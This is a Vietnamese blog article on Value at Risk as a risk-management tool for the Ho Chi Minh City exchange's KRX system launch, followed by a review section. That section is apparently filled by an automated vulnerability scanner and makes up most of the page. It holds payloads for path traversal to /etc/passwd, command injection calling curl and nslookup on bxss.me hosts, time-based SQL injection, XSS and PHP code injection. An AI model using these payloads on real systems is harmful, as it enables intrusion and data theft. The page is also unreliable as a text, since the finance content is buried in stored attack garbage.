Value at Risk: “Lá chắn” không thể thiếu khi thị trường Việt Nam bước vào kỷ nguyên KRX

03/05/2025

1,935 lượt đọc

1. Vì sao quản trị rủi ro đột nhiên “nóng” hơn bao giờ hết?

Từ 05 / 05 / 2025, Sở Giao dịch Chứng khoán TP HCM chính thức đưa hệ thống công nghệ KRX vào vận hành. Cùng lúc, hàng loạt cơ chế mới như giao dịch T+0, bán khống, trung tâm bù trừ đối tác trung tâm (CCP) và rút ngắn quy trình thanh toán sẽ được áp dụng. Giới chuyên môn coi đây là “bước ngoặt” quan trọng giúp Việt Nam tiến gần hơn tới mục tiêu nâng hạng thị trường mới nổi.

Nhưng mọi tiện ích đều có mặt trái: tốc độ khớp lệnh nhanh hơn đồng nghĩa rủi ro thua lỗ cũng xảy ra nhanh hơn. Đòn bẩy cao (margin + bán khống) phóng đại biến động. Khi CCP tái tính ký quỹ trong ngày, chỉ cần một cú giảm giá đột ngột, nhà đầu tư thiếu kỷ luật rất dễ rơi vào “vòng xoáy margin call”.

2. VaR – Khái niệm tưởng học thuật nhưng cực thực dụng

Value at Risk (VaR) trả lời câu hỏi: “Trong khung thời gian X với mức tin cậy Y %, danh mục có thể lỗ tối đa bao nhiêu?” Thay vì cảm tính “khoảng vài phần trăm NAV”, VaR đưa ra một con số cụ thể gắn cùng mức xác suất, giúp mọi bộ phận – giao dịch, quản trị rủi ro, lãnh đạo – cùng nói chung một ngôn ngữ.

  1. VaR 1 ngày, 99 % của danh mục 100 tỷ đồng bằng 3 tỷ đồng nghĩa là: 99 % khả năng ngày mai danh mục sẽ không bốc hơi quá 3 tỷ.
  2. Nhưng 1 % hi hữu vẫn có thể xảy ra; muốn biết “lỡ vượt VaR thì lỗ tới đâu”, ta dùng thêm Expected Shortfall (ES).

3. Ba cách ước tính VaR: ưu – nhược và ứng dụng thực tế

Phương phápKhi nào nên dùngĐiểm mạnhĐiểm cần lưu ý
Historical SimulationDanh mục blue‑chip, dữ liệu lịch sử dàyÍt giả định, bám sát giá quá khứThị trường đổi “regime” dễ đánh giá thiếu tail‑risk
Variance–Covariance (Parametric)Cần kết quả nhanh (Excel), danh mục ổn địnhTính gọn nhẹ; tiện kết hợp ma trận hiệp phương saiGiả định lợi suất “đẹp”; đuôi phân phối béo sẽ làm VaR thiếu thận trọng
Monte Carlo SimulationDanh mục đòn bẩy, phái sinh, beta caoLinh hoạt, mô phỏng nhiều kịch bản chưa từng xuất hiệnĐòi hỏi dữ liệu, mô hình xác suất và công suất tính toán

Lưu ý riêng với KRX: sự xuất hiện của T+0, bán khống sẽ làm lợi suất ngày “béo đuôi” hơn; nhà đầu tư nắm phái sinh hoặc cổ phiếu biến động mạnh nên ưu tiên Monte Carlo hoặc ít nhất là Historical Simulation kết hợp kiểm tra tail‑risk.

4. Xây dựng hệ sinh thái VaR “sống” trong môi trường KRX

  1. Dữ liệu và hạ tầng
  2. Thu thập tối thiểu 250 phiên (≈ 1 năm) cho tính VaR ngày; thêm dữ liệu phút hoặc tick để tính VaR nội phiên.
  3. Chuẩn hóa dữ liệu: loại bỏ giao dịch thỏa thuận lớn bất thường, chỉnh giá sau quyền.
  4. Quy trình cảnh báo tự động
  5. Thiết lập ngưỡng VaR = 5 % NAV đối với danh mục cổ phiếu; 3 % NAV nếu dùng margin trên 100 %.
  6. Hệ thống cảnh báo khi VaR tiệm cận 80 % ngưỡng; vượt ngưỡng sẽ khóa lệnh mua, yêu cầu hạ đòn bẩy hoặc mở hedge VN30F.
  7. Stress Test hằng tuần
  8. Áp dụng kịch bản “thị trường giảm 7 % trong 30 phút” (tương đương một phiên bán tháo cuối 2022) để đo VaR + ES.
  9. Giả lập tình huống thanh khoản cạn: giảm 30 % khối lượng khớp, cộng trượt giá 0,5 % mỗi giao dịch, xem danh mục có vượt “vùng đỏ” không.
  10. Ba tuyến phòng thủ
  11. Front Office: trader bắt buộc kiểm tra VaR trước khi đặt lệnh lớn.
  12. Middle Office: đo VaR/ES mỗi 15 phút cho tài khoản đòn bẩy cao.
  13. Back Office: theo dõi hệ số an toàn ký quỹ CCP, bảo đảm tiền nộp bổ sung sẵn sàng nếu VaR bật tăng bất thường.

5. Tình huống điển hình: danh mục 10 tỷ đồng, 5 mã VN30

Trước khi KRX chạy: VaR 1 ngày 99 % ~150 triệu (1,5 % NAV).

Ba tuần thử nghiệm mô phỏng T+0 & short selling: biên độ lợi suất ngày tăng 25 %, tương quan nội phiên thắt chặt → VaR vọt lên 190 triệu (1,9 % NAV).

Chủ tài khoản đặt “ngưỡng đau tim” 170 triệu. Có hai khả năng:

  1. Giảm margin: hạ vay xuống 50 % → VaR giảm còn ~155 triệu, danh mục an toàn.
  2. Giữ margin nhưng mở vị thế bán VN30F tương đương 20 % NAV → lợi suất danh mục và VN30F âm thuận chiều, VaR giảm ~18 %.

Nhờ VaR “phát hiện sớm”, tài khoản tránh bị call ký quỹ trong ngày KRX go‑live khi thị trường rung mạnh phiên sáng.

6. Các “bẫy” VaR thường gặp trên thị trường Việt Nam

  1. Dữ liệu thiếu khủng hoảng: chuỗi giá 2023–2024 khá êm so với cú sốc 2020; lấy dữ liệu quá ngắn dễ “ru ngủ” VaR.
  2. Thanh khoản đảo chiều nhanh: trong phiên hoảng loạn, phí trượt giá tăng và lệnh bán lớn khớp chậm. VaR không tự động tính phí đó nếu người dùng không cộng thêm “haircut” thanh khoản.
  3. “Đê bê tông” tâm lý: VaR chỉ là con số; kỷ luật cắt lỗ, giảm margin mới quyết định sống còn.

7. Lộ trình gợi ý cho ba nhóm nhà đầu tư

NhómViệc cần làm ngayMốc 3 thángMốc 6–12 tháng
Cá nhân dùng marginCài đặt bảng tính VaR/ES cuối ngàyTheo dõi VaR nội phiên trên app CKLiên kết app với API dữ liệu phút để tự động giảm vị thế khi VaR vượt ngưỡng
Công ty chứng khoán tự doanhGom dữ liệu tick, kịch bản stressTự động tính VaR/ES 15 phút, cảnh báo phòng giao dịchKết hợp VaR với mô hình phân bổ vốn Risk‑Adjusted Return, báo cáo SSC
Quỹ mở/quỹ hưu tríThiết lập limit VaR theo điều lệ quỹBack‑test VaR các giai đoạn 2018, 2020, 2022Xây dựng dashboard VaR + ES + đo độ nhạy thanh khoản, báo cáo nhà đầu tư định kỳ

8. Thay lời kết

KRX mở ra một sân chơi nhanh, sâu, rộng hơn – đồng thời đặt ra thử thách lớn về kỷ luật quản trị rủi ro. VaR, nếu được tính đúng cách, nuôi bằng dữ liệu sạch và gắn với cơ chế hành động rõ ràng, sẽ trở thành “lá chắn” cần thiết.

Đừng coi VaR là phép toán chết; hãy biến nó thành hệ thống cảnh báo sống: báo hiệu, phản hồi, thích ứng. Khi đó, dù thị trường có đổi mới đến đâu, tài khoản của bạn vẫn ở thế chủ động – và lợi nhuận bền vững sẽ là phần thưởng xứng đáng cho sự chuyên nghiệp

Hãy xây dựng và kiểm thử chiến lược giao dịch phái sinh của bạn trên nền tảng QMTRADE trước khi sử dụng tiền thật để tránh những rủi ro không đáng có.

Value at Risk
Chia sẻ bài viết

Đánh giá

(181,207)

331 Đánh giá

181,207 / 5

5

271

4

0

3

0

2

0

1

5

ubaTaeCJ

'"()

555

ubaTaeCJ

@

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555 bcc:[email protected]

ubaTaeCJ

tes****@example.com

[email protected]> bcc:[email protected]

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com bcc:0.4117-6624.4117.7467d.20326.2

555

ubaTaeCJ

[email protected]> bcc:0.4117-6625.4117.7467d.20326.2

555

ubaTaeCJ bcc:[email protected]

tes****@example.com

555

ubaTaeCJ

tes****@example.com

../../../../../../../../../../../../../../etc/passwd

[email protected]> bcc:[email protected]

tes****@example.com

555

ubaTaeCJ

tes****@example.com

ubaTaeCJ

tes****@example.com

../../../../../../../../../../../../../../windows/win.ini

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

12345'"\'\");|]*

ubaTaeCJ

tes****@example.com

file:///etc/passwd

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

../555

ubaTaeCJ

tes****@example.com

555<esi:include src="http://bxss.me/rpb.png"/>

ubaTaeCJ

../../../../../../../../../../../../../../etc/passwd

555

ubaTaeCJ

12345'"\'\");|]*

555

ubaTaeCJ

tes****@example.com<esi:include src="http://bxss.me/rpb.png"/>

555

ubaTaeCJ

../../../../../../../../../../../../../../windows/win.ini

555

ubaTaeCJ<esi:include src="http://bxss.me/rpb.png"/>

tes****@example.com

555

ubaTaeCJ

file:///etc/passwd

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

${9999990+10000101}

ubaTaeCJ

tes****@example.com

echo ptkyoo$()\ mieiou\nz^xyu||a #' &echo ptkyoo$()\ mieiou\nz^xyu||a #|" &echo ptkyoo$()\ mieiou\nz^xyu||a #

ubaTaeCJ

../*******@example.com

555

ubaTaeCJ

${10000334+9999779}

555

12345'"\'\");|]*

tes****@example.com

555

ubaTaeCJ

tes****@example.com

&echo aclnmu$()\ smnbhw\nz^xyu||a #' &echo aclnmu$()\ smnbhw\nz^xyu||a #|" &echo aclnmu$()\ smnbhw\nz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

tes****@example.com

555

${9999076+10000378}

tes****@example.com

555

response.write(9215170*9814959)

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555&echo futiyo$()\ wspyuc\nz^xyu||a #' &echo futiyo$()\ wspyuc\nz^xyu||a #|" &echo futiyo$()\ wspyuc\nz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

|echo eqmqnj$()\ nlrbjl\nz^xyu||a #' |echo eqmqnj$()\ nlrbjl\nz^xyu||a #|" |echo eqmqnj$()\ nlrbjl\nz^xyu||a #

file:///etc/passwd

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555|echo mjarhw$()\ kbpwwo\nz^xyu||a #' |echo mjarhw$()\ kbpwwo\nz^xyu||a #|" |echo mjarhw$()\ kbpwwo\nz^xyu||a #

ubaTaeCJ

tes****@example.com

555

NUZOdUtxVjM=

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

(nslookup -q=cname hitxgyzjknrbff74f1.bxss.me||curl hitxgyzjknrbff74f1.bxss.me))

../ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

$(nslookup -q=cname hitgnczxxzymha2858.bxss.me||curl hitgnczxxzymha2858.bxss.me)

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

ubaTaeCJ

tes****@example.com

&nslookup -q=cname hitgfrpqdbilxeb57e.bxss.me&'\"`0&nslookup -q=cname hitgfrpqdbilxeb57e.bxss.me&`'

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

'"

ubaTaeCJ

tes****@example.com

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs

ubaTaeCJ

tes****@example.com

&(nslookup -q=cname hituvhkyavdci89de2.bxss.me||curl hituvhkyavdci89de2.bxss.me)&'\"`0&(nslookup -q=cname hituvhkyavdci89de2.bxss.me||curl hituvhkyavdci89de2.bxss.me)&`'

ubaTaeCJ

tes****@example.com

)

ubaTaeCJ

tes****@example.com

response.write(9511822*9789002)

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

<!--

ubaTaeCJ

tes****@example.com

Http://bxss.me/t/fit.txt

ubaTaeCJ

tes****@example.com

|(nslookup -q=cname hitzqvbzdhyxqdf841.bxss.me||curl hitzqvbzdhyxqdf841.bxss.me)

ubaTaeCJ

tes****@example.com

!(()&&!|*|*|

ubaTaeCJ

tes****@example.com

'+response.write(9511822*9789002)+'

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

'"

555

ubaTaeCJ

tes****@example.com

http://bxss.me/t/fit.txt?.jpg

ubaTaeCJ

tes****@example.com

`(nslookup -q=cname hitptgoixcmkdb335a.bxss.me||curl hitptgoixcmkdb335a.bxss.me)`

ubaTaeCJ

tes****@example.com

^(#$!@#$)(()))******

ubaTaeCJ

tes****@example.com

"+response.write(9511822*9789002)+"

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

<!--

555

ubaTaeCJ

tes****@example.com

/etc/shells

ubaTaeCJ

tes****@example.com

;(nslookup -q=cname hitgxsjbmgvwz85cda.bxss.me||curl hitgxsjbmgvwz85cda.bxss.me)|(nslookup -q=cname hitgxsjbmgvwz85cda.bxss.me||curl hitgxsjbmgvwz85cda.bxss.me)&(nslookup -q=cname hitgxsjbmgvwz85cda.bxss.me||curl hitgxsjbmgvwz85cda.bxss.me)

ubaTaeCJ

)

555

ubaTaeCJ

response.write(9363672*9618060)

555

'"

tes****@example.com

555

ubaTaeCJ

tes****@example.com

c:/windows/win.ini

ubaTaeCJ

echo nydskr$()\ xnolcq\nz^xyu||a #' &echo nydskr$()\ xnolcq\nz^xyu||a #|" &echo nydskr$()\ xnolcq\nz^xyu||a #

555

ubaTaeCJ

!(()&&!|*|*|

555

ubaTaeCJ

'+response.write(9363672*9618060)+'

555

<!--

tes****@example.com

555

ubaTaeCJ

tes****@example.com

bxss.me

ubaTaeCJ

&echo qaevrk$()\ cxacdu\nz^xyu||a #' &echo qaevrk$()\ cxacdu\nz^xyu||a #|" &echo qaevrk$()\ cxacdu\nz^xyu||a #

555

ubaTaeCJ

^(#**@#$)(()))******

555

ubaTaeCJ

"+response.write(9363672*9618060)+"

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.com

555

ubaTaeCJ

tes****@example.com&echo fyfadt$()\ hsdukp\nz^xyu||a #' &echo fyfadt$()\ hsdukp\nz^xyu||a #|" &echo fyfadt$()\ hsdukp\nz^xyu||a #

555

)

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs

555

ubaTaeCJ

|echo zggwpb$()\ ddqdoq\nz^xyu||a #' |echo zggwpb$()\ ddqdoq\nz^xyu||a #|" |echo zggwpb$()\ ddqdoq\nz^xyu||a #

555

ubaTaeCJ

tes****@example.com

HttP://bxss.me/t/xss.html?%00

!(()&&!|*|*|

tes****@example.com

555

'+response.write(9215170*9814959)+'

tes****@example.com

555

ubaTaeCJ

Http://bxss.me/t/fit.txt

555

ubaTaeCJ

tes****@example.com|echo igdvok$()\ klquza\nz^xyu||a #' |echo igdvok$()\ klquza\nz^xyu||a #|" |echo igdvok$()\ klquza\nz^xyu||a #

555

ubaTaeCJ

tes****@example.com

bxss.me/t/xss.html?%00

^(#$!@#$)(()))******

tes****@example.com

555

"+response.write(9215170*9814959)+"

tes****@example.com

555

ubaTaeCJ

http://bxss.me/t/fit.txt?.com

555

ubaTaeCJ

(nslookup -q=cname hithoaljbaova4b581.bxss.me||curl hithoaljbaova4b581.bxss.me))

555

ubaTaeCJ

HttP://bxss.me/t/xss.html?%00

555

ubaTaeCJ

tes****@example.com

"+"A".concat(70-3).concat(22*4).concat(115).concat(79).concat(109).concat(71)+(require"socket" Socket.gethostbyname("hitot"+"aldqgbelddd05.bxss.me.")[3].to_s)+"

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

/etc/shells

555

ubaTaeCJ

$(nslookup -q=cname hittkugnyzdkgdaa16.bxss.me||curl hittkugnyzdkgdaa16.bxss.me)

555

ubaTaeCJ

bxss.me/t/xss.html?%00

555

ubaTaeCJ

tes****@example.com

'+'A'.concat(70-3).concat(22*4).concat(114).concat(77).concat(120).concat(74)+(require'socket' Socket.gethostbyname('hithm'+'ptntwali40ac7.bxss.me.')[3].to_s)+'

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

review-store

ubaTaeCJ

c:/windows/win.ini

555

ubaTaeCJ

&nslookup -q=cname hitrpukfaavmmd654a.bxss.me&'\"`0&nslookup -q=cname hitrpukfaavmmd654a.bxss.me&`'

555

HttP://bxss.me/t/xss.html?%00

tes****@example.com

555

ubaTaeCJ

"+"A".concat(70-3).concat(22*4).concat(115).concat(87).concat(122).concat(82)+(require"socket" Socket.gethostbyname("hitsf"+"nqitjdcl55659.bxss.me.")[3].to_s)+"

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

review-store

ubaTaeCJ

bxss.me

555

ubaTaeCJ

&(nslookup -q=cname hitzuefuyujfhcb7fb.bxss.me||curl hitzuefuyujfhcb7fb.bxss.me)&'\"`0&(nslookup -q=cname hitzuefuyujfhcb7fb.bxss.me||curl hitzuefuyujfhcb7fb.bxss.me)&`'

555

bxss.me/t/xss.html?%00

tes****@example.com

555

ubaTaeCJ

'+'A'.concat(70-3).concat(22*4).concat(102).concat(83).concat(101).concat(87)+(require'socket' Socket.gethostbyname('hitpv'+'sntioxax94ba5.bxss.me.')[3].to_s)+'

555

ubaTaeCJ

tes****@example.com

review-store/.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

tes****@example.com

555

ubaTaeCJ

|(nslookup -q=cname hitzwpehlaudd9c63d.bxss.me||curl hitzwpehlaudd9c63d.bxss.me)

555

ubaTaeCJ

tes****@example.com

555

"+"A".concat(70-3).concat(22*4).concat(109).concat(76).concat(121).concat(67)+(require"socket" Socket.gethostbyname("hitdo"+"ndorhnbb1487d.bxss.me.")[3].to_s)+"

tes****@example.com

555

ubaTaeCJ

tes****@example.com

xfs.bxss.me

ubaTaeCJ

review-store

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs

tes****@example.com

555

ubaTaeCJ

`(nslookup -q=cname hituiytpylowm1cfe6.bxss.me||curl hituiytpylowm1cfe6.bxss.me)`

555

ubaTaeCJ

tes****@example.com

555

'+'A'.concat(70-3).concat(22*4).concat(116).concat(73).concat(97).concat(87)+(require'socket' Socket.gethostbyname('hitfj'+'uhfrwgvu54c5d.bxss.me.')[3].to_s)+'

tes****@example.com

555

ubaTaeCJ

xfs.bxss.me

555

ubaTaeCJ

review-store

555

Http://bxss.me/t/fit.txt

tes****@example.com

555

ubaTaeCJ

;(nslookup -q=cname hitckefjqfkkh98277.bxss.me||curl hitckefjqfkkh98277.bxss.me)|(nslookup -q=cname hitckefjqfkkh98277.bxss.me||curl hitckefjqfkkh98277.bxss.me)&(nslookup -q=cname hitckefjqfkkh98277.bxss.me||curl hitckefjqfkkh98277.bxss.me)

555

ubaTaeCJ

tes****@example.com

555

xfs.bxss.me

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555'"()&%<zzz><ScRiPt >xNze(9140)</ScRiPt>

ubaTaeCJ

review-store/.

555

http://bxss.me/t/fit.txt?.jpg

tes****@example.com

555

echo repfag$()\ kcpjbq\nz^xyu||a #' &echo repfag$()\ kcpjbq\nz^xyu||a #|" &echo repfag$()\ kcpjbq\nz^xyu||a #

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

review-store

tes****@example.com

555

/etc/shells

tes****@example.com

555

&echo dbhwpf$()\ ypaeaa\nz^xyu||a #' &echo dbhwpf$()\ ypaeaa\nz^xyu||a #|" &echo dbhwpf$()\ ypaeaa\nz^xyu||a #

tes****@example.com

555

ubaTaeCJ

tes****@example.com

'"()&%<zzz><ScRiPt >xNze(9320)</ScRiPt>

review-store

tes****@example.com

555

c:/windows/win.ini

tes****@example.com

555

ubaTaeCJ&echo gmnufd$()\ qlonta\nz^xyu||a #' &echo gmnufd$()\ qlonta\nz^xyu||a #|" &echo gmnufd$()\ qlonta\nz^xyu||a #

tes****@example.com

555

review-store/.

tes****@example.com

555

ubaTaeCJ

tes****@example.com

5559545214

bxss.me

tes****@example.com

555

|echo nusbbp$()\ kmywnr\nz^xyu||a #' |echo nusbbp$()\ kmywnr\nz^xyu||a #|" |echo nusbbp$()\ kmywnr\nz^xyu||a #

tes****@example.com

555

ubaTaeCJ

tes****@example.com

'.gethostbyname(lc('hitmz'.'hhjvmgryec7a4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(78).chr(117).chr(79).'

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ|echo pogdyc$()\ umfyvd\nz^xyu||a #' |echo pogdyc$()\ umfyvd\nz^xyu||a #|" |echo pogdyc$()\ umfyvd\nz^xyu||a #

tes****@example.com

555

ubaTaeCJ

tes****@example.com'"()&%<zzz><ScRiPt >xNze(9238)</ScRiPt>

555

ubaTaeCJ

tes****@example.com

".gethostbyname(lc("hitoz"."hothvuujba30f.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(75).chr(113).chr(74)."

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

(nslookup -q=cname hitlvaxxnbxao967f6.bxss.me||curl hitlvaxxnbxao967f6.bxss.me))

tes****@example.com

555

ubaTaeCJ

'.gethostbyname(lc('hitma'.'abzootue1cc57.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(85).chr(112).chr(81).'

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

'"()&%<zzz><ScRiPt >xNze(9568)</ScRiPt>

555

$(nslookup -q=cname hitozasqimwte9d198.bxss.me||curl hitozasqimwte9d198.bxss.me)

tes****@example.com

555

ubaTaeCJ

".gethostbyname(lc("hitsy"."tixmaohm97273.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(73).chr(105).chr(78)."

555

ubaTaeCJ

tes****@example.com

555

&nslookup -q=cname hitnscrvugqfo64516.bxss.me&'\"`0&nslookup -q=cname hitnscrvugqfo64516.bxss.me&`'

tes****@example.com

555

ubaTaeCJ

tes****@example.com

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

ubaTaeCJ

tes****@example.com9226221

555

'.gethostbyname(lc('hitzh'.'pgqnbzvh1f3be.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(89).chr(120).chr(87).'

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

&(nslookup -q=cname hitckshgsarqha7441.bxss.me||curl hitckshgsarqha7441.bxss.me)&'\"`0&(nslookup -q=cname hitckshgsarqha7441.bxss.me||curl hitckshgsarqha7441.bxss.me)&`'

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

';print(md5(31337));$a='

".gethostbyname(lc("hitwi"."qpvxexita94f7.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(75).chr(120).chr(71)."

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

|(nslookup -q=cname hitkyouzqdpzj1a95f.bxss.me||curl hitkyouzqdpzj1a95f.bxss.me)

tes****@example.com

555

ubaTaeCJ'"()&%<zzz><ScRiPt >xNze(9507)</ScRiPt>

tes****@example.com

555

ubaTaeCJ

tes****@example.com

";print(md5(31337));$a="

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

`(nslookup -q=cname hitirmsvyuxji963f1.bxss.me||curl hitirmsvyuxji963f1.bxss.me)`

tes****@example.com

555

ubaTaeCJ

tes****@example.com

'"()

ubaTaeCJ

tes****@example.com

${@print(md5(31337))}

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555"&&sleep(27*1000)*urtith&&"

'"()&%<zzz><ScRiPt >xNze(9494)</ScRiPt>

tes****@example.com

555

;(nslookup -q=cname hitvrdmlvbaope0aaf.bxss.me||curl hitvrdmlvbaope0aaf.bxss.me)|(nslookup -q=cname hitvrdmlvbaope0aaf.bxss.me||curl hitvrdmlvbaope0aaf.bxss.me)&(nslookup -q=cname hitvrdmlvbaope0aaf.bxss.me||curl hitvrdmlvbaope0aaf.bxss.me)

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555'&&sleep(27*1000)*oysiia&&'

ubaTaeCJ

tes****@example.com

${@print(md5(31337))}\

ubaTaeCJ

tes****@example.com

'.print(md5(31337)).'

ubaTaeCJ9582950

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555'||sleep(27*1000)*ptsbmy||'

ubaTaeCJ

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555"||sleep(27*1000)*tlzaur||"

ubaTaeCJ

';print(md5(31337));$a='

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

";print(md5(31337));$a="

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

${@print(md5(31337))}

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

${@print(md5(31337))}\

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

'.print(md5(31337)).'

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com'&&sleep(27*1000)*kbvqje&&'

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com"&&sleep(27*1000)*ckmasl&&"

555

';print(md5(31337));$a='

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com'||sleep(27*1000)*pkxqiw||'

555

";print(md5(31337));$a="

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com"||sleep(27*1000)*cbojrd||"

555

${@print(md5(31337))}

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

${@print(md5(31337))}\

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

'.print(md5(31337)).'

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

'"()

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ'&&sleep(27*1000)*gvzshi&&'

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ"&&sleep(27*1000)*fnkfzc&&"

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ'||sleep(27*1000)*lvqtcj||'

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ"||sleep(27*1000)*absgjf||"

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555*if(now()=sysdate(),sleep(15),0)

ubaTaeCJ

tes****@example.com

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

ubaTaeCJ

tes****@example.com

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

ubaTaeCJ

tes****@example.com

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

ubaTaeCJ

tes****@example.com

555-1; waitfor delay '0:0:15' --

ubaTaeCJ

tes****@example.com

555-1); waitfor delay '0:0:15' --

ubaTaeCJ

tes****@example.com

555-1 waitfor delay '0:0:15' --

ubaTaeCJ

tes****@example.com

555CAfc9ogy'; waitfor delay '0:0:15' --

ubaTaeCJ

tes****@example.com

555-1 OR 449=(SELECT 449 FROM PG_SLEEP(15))--

ubaTaeCJ

tes****@example.com

555-1) OR 554=(SELECT 554 FROM PG_SLEEP(15))--

ubaTaeCJ

tes****@example.com

555-1)) OR 782=(SELECT 782 FROM PG_SLEEP(15))--

ubaTaeCJ

tes****@example.com

5555pzjNZIB' OR 986=(SELECT 986 FROM PG_SLEEP(15))--

ubaTaeCJ

tes****@example.com

555FUb1zWiK') OR 342=(SELECT 342 FROM PG_SLEEP(15))--

ubaTaeCJ

tes****@example.com

555M13IuE7t')) OR 643=(SELECT 643 FROM PG_SLEEP(15))--

ubaTaeCJ

tes****@example.com

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ubaTaeCJ

tes****@example.com

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

ubaTaeCJ

tes****@example.com

555'"

ubaTaeCJ

tes****@example.com

@@drsFx

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

if(now()=sysdate(),sleep(15),0)

555

ubaTaeCJ

tes****@example.com0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

ubaTaeCJ

tes****@example.com0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

ubaTaeCJ

